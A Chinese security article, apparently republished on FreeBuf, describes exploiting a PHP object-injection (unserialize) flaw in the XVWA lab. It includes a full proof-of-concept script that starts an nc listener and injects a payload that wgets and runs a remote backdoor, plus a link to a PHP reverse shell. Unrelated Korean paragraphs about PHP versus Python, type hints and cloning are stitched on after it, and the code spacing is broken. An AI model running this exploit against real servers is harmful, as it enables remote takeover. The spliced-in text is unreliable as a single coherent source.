本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个 链接。如果你想自行测试这个漏洞,你可以通过 XVWA和 Kevgir进行操作。
漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里。它会被动检测PHP和Java序列化的存在。
分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:
$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:
eval($this->inject);
接着,执行:
echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!
< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } }//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";} if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo "".$var1[0]." - ".$var1[1]; } }else{ echo "parameter is missing"; }? >
漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意:你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:
<?php /*PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.comA simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist!NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured*/print"==============================================================================\r\n";print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";print"==============================================================================\r\n";print "[+] Generating serializedpayload...[OK]\r\n";print "[+] Launching reverselistener...[OK]\r\n";system('gnome-terminal -x sh -c \'nc -lvvp1234\'');class PHPObjectInjection{ //CHANGE URL/FILENAME TO MATCH YOUR SETUP public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";} $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER$url = $url . urlencode(serialize(newPHPObjectInjection));print "[+] Sendingexploit...[OK]\r\n";print "[+] Dropping down tointeractive shell...[OK]\r\n";print"==============================================================================\r\n";$response =file_get_contents("$url"); ? >
Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!
视频展示如下:
*参考来源: CD,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

PHP는 주로 절차 적 프로그래밍이지만 객체 지향 프로그래밍 (OOP)도 지원합니다. Python은 OOP, 기능 및 절차 프로그래밍을 포함한 다양한 패러다임을 지원합니다. PHP는 웹 개발에 적합하며 Python은 데이터 분석 및 기계 학습과 같은 다양한 응용 프로그램에 적합합니다.

PHP는 1994 년에 시작되었으며 Rasmuslerdorf에 의해 개발되었습니다. 원래 웹 사이트 방문자를 추적하는 데 사용되었으며 점차 서버 측 스크립팅 언어로 진화했으며 웹 개발에 널리 사용되었습니다. Python은 1980 년대 후반 Guidovan Rossum에 의해 개발되었으며 1991 년에 처음 출시되었습니다. 코드 가독성과 단순성을 강조하며 과학 컴퓨팅, 데이터 분석 및 기타 분야에 적합합니다.

PHP는 웹 개발 및 빠른 프로토 타이핑에 적합하며 Python은 데이터 과학 및 기계 학습에 적합합니다. 1.PHP는 간단한 구문과 함께 동적 웹 개발에 사용되며 빠른 개발에 적합합니다. 2. Python은 간결한 구문을 가지고 있으며 여러 분야에 적합하며 강력한 라이브러리 생태계가 있습니다.

PHP는 현대화 프로세스에서 많은 웹 사이트 및 응용 프로그램을 지원하고 프레임 워크를 통해 개발 요구에 적응하기 때문에 여전히 중요합니다. 1.PHP7은 성능을 향상시키고 새로운 기능을 소개합니다. 2. Laravel, Symfony 및 Codeigniter와 같은 현대 프레임 워크는 개발을 단순화하고 코드 품질을 향상시킵니다. 3. 성능 최적화 및 모범 사례는 응용 프로그램 효율성을 더욱 향상시킵니다.

phphassignificallyimpactedwebdevelopmentandextendsbeyondit

PHP 유형은 코드 품질과 가독성을 향상시키기위한 프롬프트입니다. 1) 스칼라 유형 팁 : PHP7.0이므로 int, float 등과 같은 기능 매개 변수에 기본 데이터 유형을 지정할 수 있습니다. 2) 반환 유형 프롬프트 : 기능 반환 값 유형의 일관성을 확인하십시오. 3) Union 유형 프롬프트 : PHP8.0이므로 기능 매개 변수 또는 반환 값에 여러 유형을 지정할 수 있습니다. 4) Nullable 유형 프롬프트 : NULL 값을 포함하고 널 값을 반환 할 수있는 기능을 포함 할 수 있습니다.

PHP에서는 클론 키워드를 사용하여 객체 사본을 만들고 \ _ \ _ Clone Magic 메소드를 통해 클로닝 동작을 사용자 정의하십시오. 1. 복제 키워드를 사용하여 얕은 사본을 만들어 객체의 속성을 복제하지만 객체의 속성은 아닙니다. 2. \ _ \ _ 클론 방법은 얕은 복사 문제를 피하기 위해 중첩 된 물체를 깊이 복사 할 수 있습니다. 3. 복제의 순환 참조 및 성능 문제를 피하고 클로닝 작업을 최적화하여 효율성을 향상시키기 위해주의를 기울이십시오.

PHP는 웹 개발 및 컨텐츠 관리 시스템에 적합하며 Python은 데이터 과학, 기계 학습 및 자동화 스크립트에 적합합니다. 1.PHP는 빠르고 확장 가능한 웹 사이트 및 응용 프로그램을 구축하는 데 잘 작동하며 WordPress와 같은 CMS에서 일반적으로 사용됩니다. 2. Python은 Numpy 및 Tensorflow와 같은 풍부한 라이브러리를 통해 데이터 과학 및 기계 학습 분야에서 뛰어난 공연을했습니다.


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